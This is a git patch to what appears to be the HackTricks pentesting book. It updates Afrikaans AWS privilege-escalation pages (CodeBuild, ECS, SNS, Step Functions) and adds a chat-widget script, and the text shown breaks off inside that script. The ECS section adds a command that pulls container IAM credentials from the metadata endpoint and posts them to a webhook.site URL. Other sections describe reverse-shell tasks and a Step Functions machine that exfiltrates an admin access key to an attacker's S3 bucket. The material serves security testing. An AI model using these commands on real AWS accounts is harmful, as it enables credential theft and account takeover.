From 23764d8f6c1087ff528813f511cfbd39129e3f9e Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Apr 2025 15:32:13 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- book.toml | 1 + .../aws-codebuild-privesc.md | 10 +- .../aws-ecs-privesc.md | 63 +- .../aws-sns-privesc.md | 4 +- .../aws-stepfunctions-privesc.md | 32 +- theme/ai.js | 332 ++++++ theme/ht_searcher.js | 1030 +++++++++-------- 7 files changed, 939 insertions(+), 533 deletions(-) create mode 100644 theme/ai.js diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 155799d42..f01e26ab3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`. - `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop). -**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle. +**Potensiële Impak:** Direkte privesk aan aangehegte AWS Codebuild rolle. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -323,9 +323,9 @@ Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/cod ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -'n Aanvaller wat in staat is om 'n spesifieke CodeBuild-projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdragte uitvoer in die CodeBuild-proses. +'n Aanvaller wat in staat is om 'n spesifieke CodeBuild projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfreëls het, kan opdragte uitvoer in die CodeBuild proses. -Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller. +Let wel: die eskalasie is slegs relevant as die CodeBuild werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -356,7 +356,7 @@ commands: > [!WARNING] > Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai. -Meer besonderhede kan [hier] (https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word. +Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word. **Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index ab3aba3a7..881cd484f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,10 @@ Meer **inligting oor ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadwillige houer** wat die metadata geloofsbriewe steel en **dit uitvoer**. +'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerlinge steel en **dit uitvoer**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Skep 'n webhook met 'n webwerf soos webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + **Potensiële Impak:** Direkte privesc na 'n ander ECS-rol. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerings steel en dit **uitvoer**.\ -However, in this case, a container instance to run the malicious task definition need to be. +Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerlinge steel en **dit uitvoer**.\ +Echter, in hierdie geval moet daar 'n houerinstansie wees om die kwaadaardige taakdefinisie uit te voer. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -53,11 +96,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Potensiële Impak:** Direkte privesc na enige ECS-rol. +**Potensiële Impak:** Direkte privesc na enige ECS rol. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige houer** wat die metadata-akkrediteerings steel en **dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.** +Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige houer** wat die metadata geloofsbriewe steel en **dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -92,13 +135,13 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Potensiële Impak:** Direkte privesc na enige ECS rol. +**Potensiële Impak:** Direkte privesc na enige ECS-rol. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\ -Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy 'n **privilegeerde houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM rol** en die **ander ECS houer rolle** wat in die node loop, kan **steel**.\ -Jy kan selfs **ander take dwing om binne die EC2 instance** wat jy gekompromitteer het, te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)). +Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy **'n bevoorregte houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM-rol** en die **ander ECS-houer rolle** wat in die node loop, kan **steel**.\ +Jy kan selfs **ander take dwing om binne die EC2-instantie** wat jy kompromitteer te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] > Hierdie aanval is slegs moontlik as die **ECS-kluster EC2** instansies gebruik en nie Fargate nie. @@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** 'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om `aws ecs execute-command` te run).\ -Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** aan het (wat standaard nie is nie). +Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** draai (wat standaard nie is nie). Daarom kan die aanvaller probeer om: @@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potensiële Impak**: Voer arbitrêre kode uit in die geaffekteerde diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitlok. +**Potensiële Impak**: Voer arbitrêre kode uit in die geraakte diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitvreet. ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 55944920c..e7ce73776 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -'n Aanvaller kan inteken of op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die onderwerp staatmaak, kan ontwrig. +'n Aanvaller kan inteken op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe verleen of die normale funksionering van toepassings wat op die onderwerp staatmaak, ontwrig. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -32,6 +32,6 @@ aws sns subscribe --topic-arn --protocol --endpoint ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. +**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerpmanipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index af81d81fb..f9f71668b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -12,24 +12,24 @@ Vir meer inligting oor hierdie AWS-diens, kyk: ### Taak Hulpbronne -Hierdie voorregverhoging tegnieke gaan vereis dat jy 'n paar AWS stap funksie hulpbronne gebruik om die verlangde voorregverhoging aksies uit te voer. +Hierdie voorregverhogingstegnieke gaan vereis dat jy 'n paar AWS stapfunksie hulpbronne gebruik om die verlangde voorregverhogingsaksies uit te voer. -Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie wat jy wil gebruik kies en die parameters wat dit gebruik, soos in: +Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters wat dit gebruik, soos in:
-Of jy kan ook na die API AWS dokumentasie gaan en elke aksie se dokumentasie nagaan: +Of jy kan ook na die API AWS-dokumentasie gaan en elke aksiedokumentasie nagaan: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestand masjien te skep of op te dateer, wat ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei tot die verandering van data, datalekke, hulpbron manipulasie, en voorregverhoging. +'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestandmasjien te skep of op te dateer, wat moontlik ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei om data te verander tot datalekke, hulpbronmanipulasie en voorregverhoging. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing. Hierdie toelaatbare rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer: +Die volgende voorbeelde toon hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing. Hierdie toegeeflike rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vi "End": true } ``` -- **Opdrag** uitgevoer om die privesc uit te voer: +- **Opdrag** uitgevoer om die privesc te verrig: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net om staatmasjiene uit te druk**) om 'n uitvoering oor die staatmasjien te begin. +'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net vir uitdrukkingsstaatmasjiene**) om 'n uitvoering oor die staatmasjien te begin. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing benut word. Hierdie toelaatbare rol moet enige hoë-privilege beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer. +Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing benut word. Hierdie toegeeflike rol moet enige hoë-privilege beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsl } } ``` -- **Opdrag** uitgevoer om **die toestandmasjien** te **skep**: +- **Opdrag** uitgevoer om die **toestandmasjien** te **skep**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -134,24 +134,24 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 > [!WARNING] > Die aanvaller-beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject aksie van die slagoffer rekening te aanvaar. -**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. +**Potensiële Impak**: Ongeoorloofde uitvoering en manipulasie van werksvloeie en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. ### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole` -'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilige-escalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilige-escalasie sal suksesvol wees. +'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilige eskalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilige eskalasie sal suksesvol wees. -Afhangende van hoe permissief die IAM Rol geassosieer met die staat masjien is, sal 'n aanvaller 2 situasies in die gesig staar: +Afhangende van hoe permissief die IAM Rol wat aan die staat masjien gekoppel is, is, sal 'n aanvaller 2 situasies in die gesig staar: -1. **Permissiewe IAM Rol**: As die IAM Rol geassosieer met die staat masjien reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg. -2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te assosieer benewens om die staat masjien definisie te wysig. +1. **Permissiewe IAM Rol**: As die IAM Rol wat aan die staat masjien gekoppel is, reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg. +2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te koppel, benewens om die staat masjien definisie te wysig. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Die volgende voorbeelde wys hoe om 'n wettige toestandsmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** aan die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandsmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die privilige-eskalasie sal suksesvol wees. +Die volgende voorbeelde wys hoe om 'n wettige toestandmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die bevoegdheidseskalering sal suksesvol wees. > [!WARNING] -> As die toestandsmasjien nie 'n toelaatbare IAM-rol het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg). +> As die toestandmasjien nie 'n toelaatbare IAM-rol geassosieer het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid geheg). {{#tabs }} {{#tab name="Legit State Machine" }} diff --git a/theme/ai.js b/theme/ai.js new file mode 100644 index 000000000..bb8af53b7 --- /dev/null +++ b/theme/ai.js @@ -0,0 +1,332 @@ +/** + * HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised + * ------------------------------------------------------------------------ + * • Replaces the static “…” placeholder with a three-dot **bouncing** loader + * • Renders assistant replies as Markdown while purging any unsafe HTML + * (XSS-safe via DOMPurify) + * ------------------------------------------------------------------------ + */ +(function () { + const LOG = "[HackTricks-AI]"; + + /* ---------------- User-tunable constants ---------------- */ + const MAX_CONTEXT = 3000; // highlighted-text char limit + const MAX_QUESTION = 500; // question char limit + const TOOLTIP_TEXT = + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + + const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; + const BRAND_RED = "#b31328"; // HackTricks brand + + /* ------------------------------ State ------------------------------ */ + let threadId = null; + let isRunning = false; + + const $ = (sel, ctx = document) => ctx.querySelector(sel); + if (document.getElementById("ht-ai-btn")) { + console.warn(`${LOG} Widget already injected.`); + return; + } + (document.readyState === "loading" + ? document.addEventListener("DOMContentLoaded", init) + : init()); + + /* ==================================================================== */ + /* 🔗 1. 3rd-party libs → Markdown & sanitiser */ + /* ==================================================================== */ + function loadScript(src) { + return new Promise((resolve, reject) => { + const s = document.createElement("script"); + s.src = src; + s.onload = resolve; + s.onerror = () => reject(new Error(`Failed to load ${src}`)); + document.head.appendChild(s); + }); + } + + async function ensureDeps() { + const deps = []; + if (typeof marked === "undefined") { + deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js")); + } + if (typeof DOMPurify === "undefined") { + deps.push( + loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js" + ) + ); + } + if (deps.length) await Promise.all(deps); + } + + function mdToSafeHTML(md) { + // 1️⃣ Markdown → raw HTML + const raw = marked.parse(md, { mangle: false, headerIds: false }); + // 2️⃣ Purify + return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } }); + } + + /* ==================================================================== */ + async function init() { + /* ----- make sure marked & DOMPurify are ready before anything else */ + try { + await ensureDeps(); + } catch (e) { + console.error(`${LOG} Could not load dependencies`, e); + return; + } + + console.log(`${LOG} Injecting widget… v1.15`); + + await ensureThreadId(); + injectStyles(); + + const btn = createFloatingButton(); + createTooltip(btn); + const panel = createSidebar(); + const chatLog = $("#ht-ai-chat"); + const sendBtn = $("#ht-ai-send"); + const inputBox = $("#ht-ai-question"); + const resetBtn = $("#ht-ai-reset"); + const closeBtn = $("#ht-ai-close"); + + /* ------------------- Selection snapshot ------------------- */ + let savedSelection = ""; + btn.addEventListener("pointerdown", () => { + savedSelection = window.getSelection().toString().trim(); + }); + + /* ------------------- Helpers ------------------------------ */ + function addMsg(text, cls) { + const b = document.createElement("div"); + b.className = `ht-msg ${cls}`; + + // ✨ assistant replies rendered as Markdown + sanitised + if (cls === "ht-ai") { + b.innerHTML = mdToSafeHTML(text); + } else { + // user / context bubbles stay plain-text + b.textContent = text; + } + + chatLog.appendChild(b); + chatLog.scrollTop = chatLog.scrollHeight; + return b; + } + const LOADER_HTML = + ''; + + function setInputDisabled(d) { + inputBox.disabled = d; + sendBtn.disabled = d; + } + function clearThreadCookie() { + document.cookie = "threadId=; Path=/; Max-Age=0"; + threadId = null; + } + function resetConversation() { + chatLog.innerHTML = ""; + clearThreadCookie(); + panel.classList.remove("open"); + } + + /* ------------------- Panel open / close ------------------- */ + btn.addEventListener("click", () => { + if (!savedSelection) { + alert("Please highlight some text first to then ask HackTricks AI about it."); + return; + } + if (savedSelection.length > MAX_CONTEXT) { + alert( + `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.` + ); + return; + } + chatLog.innerHTML = ""; + addMsg(savedSelection, "ht-context"); + panel.classList.add("open"); + inputBox.focus(); + }); + closeBtn.addEventListener("click", resetConversation); + resetBtn.addEventListener("click", resetConversation); + + /* --------------------------- Messaging --------------------------- */ + async function sendMessage(question, context = null) { + if (!threadId) await ensureThreadId(); + if (isRunning) { + addMsg("Please wait until the current operation completes.", "ht-ai"); + return; + } + + isRunning = true; + setInputDisabled(true); + const loadingBubble = addMsg("", "ht-ai"); + loadingBubble.innerHTML = LOADER_HTML; + + const content = context + ? `### Context:\n${context}\n\n### Question to answer:\n${question}` + : question; + try { + const res = await fetch(`${API_BASE}/${threadId}/messages`, { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ content }) + }); + if (!res.ok) { + let err = `Unknown error: ${res.status}`; + try { + const e = await res.json(); + if (e.error) err = `Error: ${e.error}`; + else if (res.status === 429) + err = "Rate limit exceeded. Please try again later."; + } catch (_) {} + loadingBubble.textContent = err; + return; + } + const data = await res.json(); + loadingBubble.remove(); + if (Array.isArray(data.response)) + data.response.forEach((p) => { + addMsg( + p.type === "text" && p.text && p.text.value + ? p.text.value + : JSON.stringify(p), + "ht-ai" + ); + }); + else if (typeof data.response === "string") + addMsg(data.response, "ht-ai"); + else addMsg(JSON.stringify(data, null, 2), "ht-ai"); + } catch (e) { + console.error("Error sending message:", e); + loadingBubble.textContent = "An unexpected error occurred."; + } finally { + isRunning = false; + setInputDisabled(false); + chatLog.scrollTop = chatLog.scrollHeight; + } + } + + async function handleSend() { + const q = inputBox.value.trim(); + if (!q) return; + if (q.length > MAX_QUESTION) { + alert( + `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.` + ); + return; + } + inputBox.value = ""; + addMsg(q, "ht-user"); + await sendMessage(q, savedSelection || null); + } + sendBtn.addEventListener("click", handleSend); + inputBox.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSend(); + } + }); + } + + /* ==================================================================== */ + async function ensureThreadId() { + const m = document.cookie.match(/threadId=([^;]+)/); + if (m && m[1]) { + threadId = m[1]; + return; + } + try { + const r = await fetch(API_BASE, { method: "POST", credentials: "include" }); + const d = await r.json(); + if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`); + threadId = d.threadId; + document.cookie = + 